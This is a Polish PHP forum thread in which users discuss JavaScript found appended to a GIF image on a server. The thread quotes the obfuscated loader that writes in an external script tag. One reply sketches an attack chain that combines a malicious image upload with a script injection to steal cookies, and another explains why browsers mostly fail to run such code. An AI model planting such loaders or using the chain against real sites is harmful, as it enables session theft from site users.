Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> javascript w obrazku
sazian
post
Post #1





Grupa: Zarejestrowani
Postów: 1 045
Pomógł: 141
Dołączył: 19.09.2006
Skąd: B-tów

Ostrzeżenie: (0%)
-----


Witam,
ostatnio puściłem skan w poszukiwaniu frazy document.write i ku mojemu zdziwieniu znalazło to w pliku gif (IMG:style_emoticons/default/smile.gif)
dokładniej wygląda to tak - jest to doklejone na końcu obrazka
  1. <script type="text/javascript"><!--
  2. document.writeln('<'+'scr'+'ipt type="text/javascript" src="tu adres do jakiejś strony"></'+'scr'+'ipt>');
  3. //--></script>



zacząłem z tym trochę kombinować i owszem da się dopisać dowolny kod bez uszkadzania pliku ale nie daje się on uruchomić.
Jakie warunki trzeba spełnić aby taki kod został uruchomiony (IMG:style_emoticons/default/questionmark.gif) czy daje się on w ogóle uruchomić (IMG:style_emoticons/default/questionmark.gif)

Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
Łukasz Piotr Łuc...
post
Post #2





Grupa: Zarejestrowani
Postów: 1
Pomógł: 0
Dołączył: 25.10.2012

Ostrzeżenie: (0%)
-----


Co po niektórych z tego wątku nie spodziewałbym się braku umiejętności korzystania z google ani braku ciekakowści (IMG:style_emoticons/default/smile.gif) Chyba panowie zbyt zramoraliście i spoczęliście na laurach (IMG:style_emoticons/default/wink.gif)

Przykładowy atak - jeden z wielu jakie możecie znaleźć z wykorzystaniem tej techniki:

1) wykorzystujemy dziurę w uploadzie plików graficznych i dodajemy javascriptowy comment payload do gifa test.gif
2) wykorzystujemy inny błąd (np. przy komentarzach, sql injection) i wstawiamy na stronę małe cuś: <script src="...../test.gif"></script>

Dzięki temu omijamy sprawdzanie origin i możemy dorwać się do ciasteczka. Jedynie pod IE jest to trochę utrudnione (ale nie niemożliwe).

W takim gifie można upakować więcej fajnych rzeczy. Jest także dostępna gifowa mixtura, która potrafi zrobić niezły bajzel (IMG:style_emoticons/default/smile.gif)

Ale więcej nie będę pisał by wannabe hakier nie kierować zwłaszcza, że niektórzy tworzą serwisy mówiąc że taka sytuacja nie jest możliwa więc nie zabezpieczamy się przed nią....

@pyro: akurat zmartwię Cię - nie musisz być naćpany ani pijany by zostawić dziurę w serwisie. Żaden test nie zapewni o bezbłędności ani nie wykryje wszystkich błędów. Istnieje kilka technik obrony przed spreparowanymi danymi uploadowanymi, ale to pozostawię Tobie jako pracę domową byś poszukał, poczytał, znalazł. A potem przyszedł i powiedział jak bardzo myliłeś się.

Pozdrawiam,
Łukasz
Go to the top of the page
+Quote Post
redeemer
post
Post #3





Grupa: Zarejestrowani
Postów: 915
Pomógł: 210
Dołączył: 8.09.2009
Skąd: Tomaszów Lubelski/Wrocław

Ostrzeżenie: (0%)
-----


Widzę panowie, że zaczynacie się lekko "spinać". Pozwólcie więc, że wtrącę moje "8 groszy".

Cytat(Łukasz Piotr Łuczak @ 15.02.2013, 15:11:50 ) *
...
1) wykorzystujemy dziurę w uploadzie plików graficznych i dodajemy javascriptowy comment payload do gifa test.gif

Rozwijając słowa Łukasza "comment payload", to wcale nie trzeba doklejać złośliwego kodu "na koniec" pliku, ale np. w przypadku formatu GIF można dodać do pliku komentarz (wszystko zgodnie ze specyfikacją). Tak samo w przypadku JPEGów można spreparować dane EXIF, itd. (Gdyby ktoś był ciekawy gdzie fizycznie w pliku ląduje taki komentarz oto *hexdump* z gifa 1x1 i komentarzem w postaci skryptu js). Trzeba tutaj zaznaczyć, że o ile doklejenie "byle czego" na koniec pliku może powodować gubienie tych danych w przypadku obrabiania obrazków (lub nawet "błędy formatu" czy walidacji), to format takiego gifa z komentarzem jest w 100% poprawny. Dlatego też, nawiązując do samego wątku doklejanie czegokolwiek na koniec pliku jest dla mnie trochę dziwne i wygląda to właśnie na jakiś automat co infekuje wszystko co może bez analizy - czyli "dawaj na koniec". (drobna dygresja: większość binarnych formatów plików z którymi miałem coś więcej do czynienia, była/jest w formie "fixed-length", więc żadne dane nadmiarowe na końcu nie powinny ich zepsuć).

Cytat(Łukasz Piotr Łuczak @ 15.02.2013, 15:11:50 ) *
2) wykorzystujemy inny błąd (np. przy komentarzach, sql injection) i wstawiamy na stronę małe cuś: <script src="...../test.gif"></script>

Takie coś zadziała tylko pod warunkiem, że jak już napisał @nospor plik test.gif będzie tak naprawdę skryptem javascript o zmienionym rozszerzeniu na gif. Wątek natomiast tyczy się kodu javascript wplecionego w obrazek (pal licho czy "na końcu", czy "w środku" wykorzystując właściwości formatu pliku) i biorąc to pod uwagę to wykonanie tego kodu graniczy z cudem, bo przeglądarka (pomijając IE6 i inne eksponaty z muzeum) próbując sparsować taki plik zwyczajnie napotka "syntax error" i przestanie parsować ten skrypt (Chrome:"Unexpected token ILLEGAL", Firefox:"SyntaxError: illegal character", IE: "SCRIPT1014: Nieprawidłowy znak"). Zresztą gdyby to zadziałało, to każdy serwis przyjmujący obrazki od użytkowników i nie usuwający z automatu takich rzeczy z przesyłanych plików, mógłby "hostować" jakieś dziwne kody javascript.

Cytat(Łukasz Piotr Łuczak @ 15.02.2013, 15:11:50 ) *
...
Dzięki temu omijamy sprawdzanie origin i możemy dorwać się do ciasteczka. Jedynie pod IE jest to trochę utrudnione (ale nie niemożliwe).
To śmiało możesz doprecyzować bo wydawało mi się że same origin policy czy CORS nie dotyczy tagu <script>? [(IMG:style_emoticons/default/smile.gif) ]
Go to the top of the page
+Quote Post

Posty w temacie
- sazian   javascript w obrazku   11.02.2013, 22:30:35
- - thek   Daje się... Jest to "test" przetwarzania...   11.02.2013, 22:44:14
- - sazian   ok tylko z tego co tak na szybko przejrzałem to ta...   11.02.2013, 23:28:00
- - nospor   Obrazki/zasoby/pliki można zwracać nie bezpośredni...   12.02.2013, 15:20:02
- - sazian   no niestety nie próbowałem z file_get_contents i ...   12.02.2013, 17:34:57
- - ano   Czemu niby skrypt JS miałby się wykonać? Jeżeli na...   12.02.2013, 19:45:50
- - sazian   ok tylko poco ktoś by dodawał taki kod skoro i tak...   12.02.2013, 20:35:46
- - Pawel_W   może ktoś chciał Ci zawirusować serwer i zamiast d...   12.02.2013, 20:55:22
- - Pilsener   Żeby sprawdzić mechanizmy bezpieczeństwa choćby. K...   12.02.2013, 23:07:05
- - nospor   CytatCzemu niby skrypt JS miałby się wykonać? Jeże...   13.02.2013, 09:20:19
|- - ano   Cytat(nospor @ 13.02.2013, 09:20:19 )...   14.02.2013, 22:42:40
- - nospor   1) A czy ja powiedziałem ze się wywala? Czasami po...   14.02.2013, 22:58:43
- - ano   http://blogs.msdn.com/b/ieinternals/archiv...ttp-h...   15.02.2013, 00:18:36
- - nospor   Strach się bać, jak on już takie kody: Kod<scr...   15.02.2013, 08:47:10
- - pyro   Cytat(nospor @ 13.02.2013, 09:20:19 )...   15.02.2013, 10:05:10
- - nospor   1) A mi się zdarzało i dośc czesto 2) Tak, tylko ...   15.02.2013, 10:11:53
|- - pyro   Cytat(nospor @ 15.02.2013, 10:11:53 )...   15.02.2013, 10:13:43
- - nospor   Kod js się nie wykonywał, bo wówczas miałem normal...   15.02.2013, 10:16:29
|- - pyro   Cytat(nospor @ 15.02.2013, 10:16:29 )...   15.02.2013, 10:17:52
- - nospor   Dawaj. Chętnie zobaczę jak to zrobisz   15.02.2013, 10:20:28
|- - pyro   Cytat(nospor @ 15.02.2013, 10:20:28 )...   15.02.2013, 11:10:53
- - nospor   Powtarzam pytanie autora: po co ktoś wkłada js w o...   15.02.2013, 11:13:26
- - pyro   No to jakiś przykład?   15.02.2013, 11:14:31
- - nospor   Przykład podałem: pijany programista dający złe na...   15.02.2013, 11:17:08
|- - pyro   Cytat(nospor @ 15.02.2013, 11:17:08 )...   15.02.2013, 11:19:02
- - nospor   Ale możliwe. Odpowiedź na pytanie udzielona. Jakiś...   15.02.2013, 11:20:50
- - viking   Z tego co pamiętam kod taki był w stanie się wykon...   15.02.2013, 13:55:56
- - nospor   Cytatbył w stanie się wykonać w konkretnych, stars...   15.02.2013, 13:59:29
- - Łukasz Piotr Łuczak   Co po niektórych z tego wątku nie spodziewałbym si...   15.02.2013, 15:11:50
|- - pyro   Cytat(Łukasz Piotr Łuczak @ 15.02.2013, 15...   15.02.2013, 23:24:27
|- - redeemer   Widzę panowie, że zaczynacie się lekko "spina...   16.02.2013, 01:49:42
|- - sazian   Cytat(redeemer @ 16.02.2013, 01:49:42...   16.02.2013, 12:30:21
|- - redeemer   Cytat(sazian @ 16.02.2013, 12:30:21 )...   16.02.2013, 12:46:13
- - nospor   Cytat2) wykorzystujemy inny błąd (np. przy komenta...   15.02.2013, 15:21:40
- - Damonsson   Specjalnie się zarejestrowałeś, żeby napisać, że j...   15.02.2013, 15:28:27
- - Łukasz Piotr Łuczak   nospor: nie doczytałeś stwierdzenia "Przykład...   15.02.2013, 16:28:43
- - sazian   dobra może podam trochę więcej szczegółów ten obra...   15.02.2013, 20:28:45
- - sazian   wróć mój błąd tyle już z tym plikiem kombinowałem...   16.02.2013, 12:55:31


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 9.10.2025 - 02:45